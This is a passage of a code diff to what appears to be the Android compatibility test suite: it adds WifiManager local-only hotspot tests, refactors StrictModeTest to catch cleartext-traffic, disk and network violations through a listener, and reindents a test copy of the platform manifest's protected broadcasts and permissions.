+           } catch (InterruptedException e) {}
+        }
+    }
+
+    /**
+     * Verify that calls to startLocalOnlyHotspot succeed with proper permissions.
+     *
+     * Note: Location mode must be enabled for this test.
+     */
+    public void testStartLocalOnlyHotspotSuccess() {
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+        TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+
+        // at this point, wifi should be off
+        assertFalse(mWifiManager.isWifiEnabled());
+
+        stopLocalOnlyHotspot(callback, wifiEnabled);
+        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+    }
+
+    /**
+     * Verify calls to setWifiEnabled from a non-settings app while softap mode is active do not
+     * exit softap mode.
+     *
+     * This test uses the LocalOnlyHotspot API to enter softap mode.  This should also be true when
+     * tethering is started.
+     * Note: Location mode must be enabled for this test.
+     */
+    public void testSetWifiEnabledByAppDoesNotStopHotspot() {
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+        TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+        // at this point, wifi should be off
+        assertFalse(mWifiManager.isWifiEnabled());
+
+        // now we should fail to turn on wifi
+        assertFalse(mWifiManager.setWifiEnabled(true));
+
+        stopLocalOnlyHotspot(callback, wifiEnabled);
+        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+    }
+
+    /**
+     * Verify that applications can only have one registered LocalOnlyHotspot request at a time.
+     *
+     * Note: Location mode must be enabled for this test.
+     */
+    public void testStartLocalOnlyHotspotSingleRequestByApps() {
+        boolean caughtException = false;
+
+        boolean wifiEnabled = mWifiManager.isWifiEnabled();
+
+        TestLocalOnlyHotspotCallback callback = startLocalOnlyHotspot();
+
+        // at this point, wifi should be off
+        assertFalse(mWifiManager.isWifiEnabled());
+
+        // now make a second request - this should fail.
+        TestLocalOnlyHotspotCallback callback2 = new TestLocalOnlyHotspotCallback(mLOHSLock);
+        try {
+            mWifiManager.startLocalOnlyHotspot(callback2, null);
+        } catch (IllegalStateException e) {
+            Log.d(TAG, "Caught the IllegalStateException we expected: called startLOHS twice");
+            caughtException = true;
+        }
+        assertTrue(caughtException);
+
+        stopLocalOnlyHotspot(callback, wifiEnabled);
+        assertEquals(wifiEnabled, mWifiManager.isWifiEnabled());
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index fecc067..21730c6 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -22,15 +22,12 @@
 import android.net.TrafficStats;
 import android.net.Uri;
 import android.os.StrictMode;
-import android.os.SystemClock;
+import android.os.StrictMode.ViolationListener;
 import android.system.Os;
 import android.system.OsConstants;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
 
-import libcore.io.Streams;
-
-import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
@@ -38,8 +35,8 @@
 import java.net.HttpURLConnection;
 import java.net.Socket;
 import java.net.URL;
-import java.text.SimpleDateFormat;
-import java.util.Date;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Tests for {@link StrictMode}
@@ -66,6 +63,10 @@
         StrictMode.setVmPolicy(mVmPolicy);
     }
 
+    public interface ThrowingRunnable {
+        public void run() throws Exception;
+    }
+
     /**
      * Insecure connection should be detected
      */
@@ -80,10 +81,10 @@
                 .penaltyLog()
                 .build());
 
-        long mark = System.currentTimeMillis();
-        ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
-        assertLogged("Detected cleartext network traffic from UID "
-                + android.os.Process.myUid(), mark, 5000);
+        assertViolation("Detected cleartext network traffic from UID", () -> {
+            ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                    .getResponseCode();
+        });
     }
 
     /**
@@ -100,10 +101,10 @@
                 .penaltyLog()
                 .build());
 
-        long mark = System.currentTimeMillis();
-        ((HttpURLConnection) new URL("https://example.com/").openConnection()).getResponseCode();
-        assertNotLogged("Detected cleartext network traffic from UID "
-                + android.os.Process.myUid(), mark, 5000);
+        assertNoViolation(() -> {
+            ((HttpURLConnection) new URL("https://example.com/").openConnection())
+                    .getResponseCode();
+        });
     }
 
     public void testFileUriExposure() throws Exception {
@@ -112,19 +113,21 @@
                 .penaltyLog()
                 .build());
 
-        long mark = System.currentTimeMillis();
-        Uri uri = Uri.fromFile(new File("/sdcard/meow.jpg"));
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        intent.setDataAndType(uri, "image/jpeg");
-        getContext().startActivity(intent);
-        assertLogged(uri + " exposed beyond app", mark);
+        final Uri badUri = Uri.fromFile(new File("/sdcard/meow.jpg"));
+        assertViolation(badUri + " exposed beyond app", () -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(badUri, "image/jpeg");
+            getContext().startActivity(intent);
+        });
 
-        mark = System.currentTimeMillis();
-        uri = Uri.parse("content://com.example/foobar");
-        intent = new Intent(Intent.ACTION_VIEW);
-        intent.setDataAndType(uri, "image/jpeg");
-        getContext().startActivity(intent);
-        assertNotLogged(uri + " exposed beyond app", mark);
+        final Uri goodUri = Uri.parse("content://com.example/foobar");
+        assertNoViolation(() -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(goodUri, "image/jpeg");
+            getContext().startActivity(intent);
+        });
     }
 
     public void testContentUriWithoutPermission() throws Exception {
@@ -133,19 +136,21 @@
                 .penaltyLog()
                 .build());
 
-        long mark = System.currentTimeMillis();
         final Uri uri = Uri.parse("content://com.example/foobar");
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        intent.setDataAndType(uri, "image/jpeg");
-        getContext().startActivity(intent);
-        assertLogged(uri + " exposed beyond app", mark);
+        assertViolation(uri + " exposed beyond app", () -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(uri, "image/jpeg");
+            getContext().startActivity(intent);
+        });
 
-        mark = System.currentTimeMillis();
-        intent = new Intent(Intent.ACTION_VIEW);
-        intent.setDataAndType(uri, "image/jpeg");
-        intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        getContext().startActivity(intent);
-        assertNotLogged(uri + " exposed beyond app", mark);
+        assertNoViolation(() -> {
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            intent.setDataAndType(uri, "image/jpeg");
+            intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+            getContext().startActivity(intent);
+        });
     }
 
     public void testUntaggedSocketsHttp() throws Exception {
@@ -159,18 +164,20 @@
                 .penaltyLog()
                 .build());
 
-        long mark = System.currentTimeMillis();
-        ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
-        assertLogged("Untagged socket detected", mark);
+        assertViolation("Untagged socket detected", () -> {
+            ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                    .getResponseCode();
+        });
 
-        mark = System.currentTimeMillis();
-        TrafficStats.setThreadStatsTag(0xDECAFBAD);
-        try {
-            ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
-        } finally {
-            TrafficStats.clearThreadStatsTag();
-        }
-        assertNotLogged("Untagged socket detected", mark);
+        assertNoViolation(() -> {
+            TrafficStats.setThreadStatsTag(0xDECAFBAD);
+            try {
+                ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                        .getResponseCode();
+            } finally {
+                TrafficStats.clearThreadStatsTag();
+            }
+        });
     }
 
     public void testUntaggedSocketsRaw() throws Exception {
@@ -184,99 +191,95 @@
                 .penaltyLog()
                 .build());
 
-        long mark = System.currentTimeMillis();
-        TrafficStats.setThreadStatsTag(0xDECAFBAD);
-        try (Socket socket = new Socket("example.com", 80)) {
-            socket.getOutputStream().close();
-        } finally {
-            TrafficStats.clearThreadStatsTag();
-        }
-        assertNotLogged("Untagged socket detected", mark);
+        assertNoViolation(() -> {
+            TrafficStats.setThreadStatsTag(0xDECAFBAD);
+            try (Socket socket = new Socket("example.com", 80)) {
+                socket.getOutputStream().close();
+            } finally {
+                TrafficStats.clearThreadStatsTag();
+            }
+        });
 
-        mark = System.currentTimeMillis();
-        try (Socket socket = new Socket("example.com", 80)) {
-            socket.getOutputStream().close();
-        }
-        assertLogged("Untagged socket detected", mark);
+        assertViolation("Untagged socket detected", () -> {
+            try (Socket socket = new Socket("example.com", 80)) {
+                socket.getOutputStream().close();
+            }
+        });
     }
 
     public void testRead() throws Exception {
         final File test = File.createTempFile("foo", "bar");
         final File dir = test.getParentFile();
 
-        FileInputStream is = null;
-        FileDescriptor fd = null;
+        final FileInputStream is = new FileInputStream(test);
+        final FileDescriptor fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
 
         StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
                 .detectDiskReads()
                 .penaltyLog()
                 .build());
 
-        SystemClock.sleep(1500);
-
-        try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+        assertViolation("StrictModeDiskReadViolation", () -> {
             test.exists();
-        }
-        try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
             test.length();
-        }
-        try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
             dir.list();
-        }
-        try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
-            is = new FileInputStream(test);
-        }
-        try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            new FileInputStream(test);
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
             is.read();
-        }
-        try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
-            fd = Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
-        }
-        try (AssertDiskReadLogged l = new AssertDiskReadLogged()) {
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
+            Os.open(test.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
+        });
+        assertViolation("StrictModeDiskReadViolation", () -> {
             Os.read(fd, new byte[10], 0, 1);
-        }
+        });
     }
 
     public void testWrite() throws Exception {
-        File file = null;
+        File file = File.createTempFile("foo", "bar");
 
-        FileOutputStream os = null;
-        FileDescriptor fd = null;
+        final FileOutputStream os = new FileOutputStream(file);
+        final FileDescriptor fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
 
         StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
                 .detectDiskWrites()
                 .penaltyLog()
                 .build());
 
-        SystemClock.sleep(1500);
-
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
-            file = File.createTempFile("foo", "bar");
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            File.createTempFile("foo", "bar");
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
             file.delete();
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
             file.createNewFile();
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
-            os = new FileOutputStream(file);
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            new FileOutputStream(file);
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
             os.write(32);
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
-            fd = Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
+            Os.open(file.getAbsolutePath(), OsConstants.O_RDWR, 0600);
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
             Os.write(fd, new byte[10], 0, 1);
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
             Os.fsync(fd);
-        }
-        try (AssertDiskWriteLogged l = new AssertDiskWriteLogged()) {
+        });
+        assertViolation("StrictModeDiskWriteViolation", () -> {
             file.renameTo(new File(file.getParent(), "foobar"));
-        }
+        });
     }
 
     public void testNetwork() throws Exception {
@@ -290,75 +293,66 @@
                 .penaltyLog()
                 .build());
 
-        long mark = System.currentTimeMillis();
-        try (Socket socket = new Socket("example.com", 80)) {
-            socket.getOutputStream().close();
-        }
-        assertLogged("StrictModeNetworkViolation", mark);
+        assertViolation("StrictModeNetworkViolation", () -> {
+            try (Socket socket = new Socket("example.com", 80)) {
+                socket.getOutputStream().close();
+            }
+        });
 
-        mark = System.currentTimeMillis();
-        ((HttpURLConnection) new URL("http://example.com/").openConnection()).getResponseCode();
-        assertLogged("StrictModeNetworkViolation", mark);
+        assertViolation("StrictModeNetworkViolation", () -> {
+            ((HttpURLConnection) new URL("http://example.com/").openConnection())
+                    .getResponseCode();
+        });
     }
 
-    private static class AssertLogged implements AutoCloseable {
-        private final String mMessage;
-        private final long mStart;
+    private static void assertViolation(String expected, ThrowingRunnable r) throws Exception {
+        final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
+        StrictMode.setViolationListener(new ViolationListener() {
+            @Override
+            public void onViolation(String message) {
+                violations.add(message);
+            }
+        });
 
-        public AssertLogged(String message) {
-            mMessage = message;
-            mStart = System.currentTimeMillis();
-        }
-
-        @Override
-        public void close() throws Exception {
-            assertLogged(mMessage, mStart);
+        try {
+            r.run();
+            while (true) {
+                final String violation = violations.poll(5, TimeUnit.SECONDS);
+                if (violation == null) {
+                    fail("Expected violation not found: " + expected);
+                } else if (violation.contains(expected)) {
+                    return;
+                }
+            }
+        } finally {
+            StrictMode.setViolationListener(null);
         }
     }
 
-    private static class AssertDiskReadLogged extends AssertLogged {
-        public AssertDiskReadLogged() {
-            super("StrictModeDiskReadViolation");
+    private static void assertNoViolation(ThrowingRunnable r) throws Exception {
+        final LinkedBlockingQueue<String> violations = new LinkedBlockingQueue<>();
+        StrictMode.setViolationListener(new ViolationListener() {
+            @Override
+            public void onViolation(String message) {
+                violations.add(message);
+            }
+        });
+
+        try {
+            r.run();
+            while (true) {
+                final String violation = violations.poll(5, TimeUnit.SECONDS);
+                if (violation == null) {
+                    return;
+                } else {
+                    fail("Unexpected violation found: " + violation);
+                }
+            }
+        } finally {
+            StrictMode.setViolationListener(null);
         }
     }
 
-    private static class AssertDiskWriteLogged extends AssertLogged {
-        public AssertDiskWriteLogged() {
-            super("StrictModeDiskWriteViolation");
-        }
-    }
-
-    private static void assertLogged(String msg, long since) throws Exception {
-        assertLogged(msg, since, 1100);
-    }
-
-    private static void assertLogged(String msg, long since, long wait) throws Exception {
-        SystemClock.sleep(wait);
-        assertTrue("Expected message not found: " + msg, readLogSince(since).contains(msg));
-    }
-
-    private static void assertNotLogged(String msg, long since) throws Exception {
-        assertNotLogged(msg, since, 1100);
-    }
-
-    private static void assertNotLogged(String msg, long since, long wait) throws Exception {
-        SystemClock.sleep(wait);
-        assertFalse("Unexpected message found: " + msg, readLogSince(since).contains(msg));
-    }
-
-    private static String readLogSince(long millis) throws Exception {
-        final SimpleDateFormat format = new SimpleDateFormat("MM-dd HH:mm:ss.SSS");
-        final Process proc = new ProcessBuilder("logcat", "-t", format.format(new Date(millis)))
-                .redirectErrorStream(true).start();
-
-        final ByteArrayOutputStream buf = new ByteArrayOutputStream();
-        Streams.copy(proc.getInputStream(), buf);
-        final int res = proc.waitFor();
-
-        Log.d(TAG, "Log output was " + buf.size() + " bytes, exit code " + res);
-        return new String(buf.toByteArray());
-    }
-
     private boolean hasInternetConnection() {
         final PackageManager pm = getContext().getPackageManager();
         return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index e547c13..8ed76de 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -18,8 +18,8 @@
 */
 -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android" coreApp="true" android:sharedUserId="android.uid.system"
-          android:sharedUserLabel="@string/android_system_label">
+    package="android" coreApp="true" android:sharedUserId="android.uid.system"
+    android:sharedUserLabel="@string/android_system_label">
 
     <!-- ================================================ -->
     <!-- Special broadcasts that only the system can send -->
@@ -149,59 +149,59 @@
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
     <protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
+        android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
+        android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
     <protected-broadcast
-            android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
+        android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
+        android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
+        android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
+        android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
     <protected-broadcast
-            android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
+        android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
+        android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
+        android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
+        android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
+        android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
     <protected-broadcast
-            android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast
-            android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
     <protected-broadcast
-            android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
+        android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
     <protected-broadcast
-            android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
+        android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
     <protected-broadcast
-            android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+        android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.intent.action.PBAP_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -363,11 +363,11 @@
     <protected-broadcast android:name="android.provider.Telephony.MMS_DOWNLOADED" />
 
     <protected-broadcast
-            android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
+        android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
 
     <!-- Defined in RestrictionsManager -->
     <protected-broadcast
-            android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
+        android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
     <!-- Defined in RestrictionsManager -->
 
     <protected-broadcast android:name="android.intent.action.REQUEST_PERMISSION" />
@@ -553,28 +553,28 @@
     <!-- Used for runtime permissions related to contacts and profiles on this
         device. -->
     <permission-group android:name="android.permission-group.CONTACTS"
-                      android:icon="@drawable/perm_group_contacts"
-                      android:label="@string/permgrouplab_contacts"
-                      android:description="@string/permgroupdesc_contacts"
-                      android:priority="100" />
+        android:icon="@drawable/perm_group_contacts"
+        android:label="@string/permgrouplab_contacts"
+        android:description="@string/permgroupdesc_contacts"
+        android:priority="100" />
 
     <!-- Allows an application to read the user's contacts data.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CONTACTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:label="@string/permlab_readContacts"
-                android:description="@string/permdesc_readContacts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:label="@string/permlab_readContacts"
+        android:description="@string/permdesc_readContacts"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write the user's contacts data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CONTACTS"
-                android:permissionGroup="android.permission-group.CONTACTS"
-                android:label="@string/permlab_writeContacts"
-                android:description="@string/permdesc_writeContacts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CONTACTS"
+        android:label="@string/permlab_writeContacts"
+        android:description="@string/permdesc_writeContacts"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing user's calendar                              -->
@@ -583,28 +583,28 @@
 
     <!-- Used for runtime permissions related to user's calendar. -->
     <permission-group android:name="android.permission-group.CALENDAR"
-                      android:icon="@drawable/perm_group_calendar"
-                      android:label="@string/permgrouplab_calendar"
-                      android:description="@string/permgroupdesc_calendar"
-                      android:priority="200" />
+        android:icon="@drawable/perm_group_calendar"
+        android:label="@string/permgrouplab_calendar"
+        android:description="@string/permgroupdesc_calendar"
+        android:priority="200" />
 
     <!-- Allows an application to read the user's calendar data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALENDAR"
-                android:permissionGroup="android.permission-group.CALENDAR"
-                android:label="@string/permlab_readCalendar"
-                android:description="@string/permdesc_readCalendar"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CALENDAR"
+        android:label="@string/permlab_readCalendar"
+        android:description="@string/permdesc_readCalendar"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to write the user's calendar data.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALENDAR"
-                android:permissionGroup="android.permission-group.CALENDAR"
-                android:label="@string/permlab_writeCalendar"
-                android:description="@string/permdesc_writeCalendar"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.CALENDAR"
+        android:label="@string/permlab_writeCalendar"
+        android:description="@string/permdesc_writeCalendar"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing and modifying user's SMS messages            -->
@@ -613,56 +613,56 @@
 
     <!-- Used for runtime permissions related to user's SMS messages. -->
     <permission-group android:name="android.permission-group.SMS"
-                      android:icon="@drawable/perm_group_sms"
-                      android:label="@string/permgrouplab_sms"
-                      android:description="@string/permgroupdesc_sms"
-                      android:priority="300" />
+        android:icon="@drawable/perm_group_sms"
+        android:label="@string/permgrouplab_sms"
+        android:description="@string/permgroupdesc_sms"
+        android:priority="300" />
 
     <!-- Allows an application to send SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.SEND_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_sendSms"
-                android:description="@string/permdesc_sendSms"
-                android:permissionFlags="costsMoney"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_sendSms"
+        android:description="@string/permdesc_sendSms"
+        android:permissionFlags="costsMoney"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to receive SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveSms"
-                android:description="@string/permdesc_receiveSms"
-                android:protectionLevel="dangerous"/>
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveSms"
+        android:description="@string/permdesc_receiveSms"
+        android:protectionLevel="dangerous"/>
 
     <!-- Allows an application to read SMS messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_SMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_readSms"
-                android:description="@string/permdesc_readSms"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_readSms"
+        android:description="@string/permdesc_readSms"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to receive WAP push messages.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_WAP_PUSH"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveWapPush"
-                android:description="@string/permdesc_receiveWapPush"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveWapPush"
+        android:description="@string/permdesc_receiveWapPush"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to monitor incoming MMS messages.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECEIVE_MMS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_receiveMms"
-                android:description="@string/permdesc_receiveMms"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_receiveMms"
+        android:description="@string/permdesc_receiveMms"
+        android:protectionLevel="dangerous" />
 
     <!-- Allows an application to read previously received cell broadcast
          messages and to register a content observer to get notifications when
@@ -677,10 +677,10 @@
          <p>Protection level: dangerous
          @hide Pending API council approval -->
     <permission android:name="android.permission.READ_CELL_BROADCASTS"
-                android:permissionGroup="android.permission-group.SMS"
-                android:label="@string/permlab_readCellBroadcasts"
-                android:description="@string/permdesc_readCellBroadcasts"
-                android:protectionLevel="dangerous" />
+        android:permissionGroup="android.permission-group.SMS"
+        android:label="@string/permlab_readCellBroadcasts"
+        android:description="@string/permdesc_readCellBroadcasts"
+        android:protectionLevel="dangerous" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing external storage                             -->
@@ -689,10 +689,10 @@
 
     <!-- Used for runtime permissions related to the shared external storage. -->
     <permission-group android:name="android.permission-group.STORAGE"
-                      android:icon="@drawable/perm_group_storage"
-                      android:label="@string/permgrouplab_storage"
-                      android:description="@string/permgroupdesc_storage"
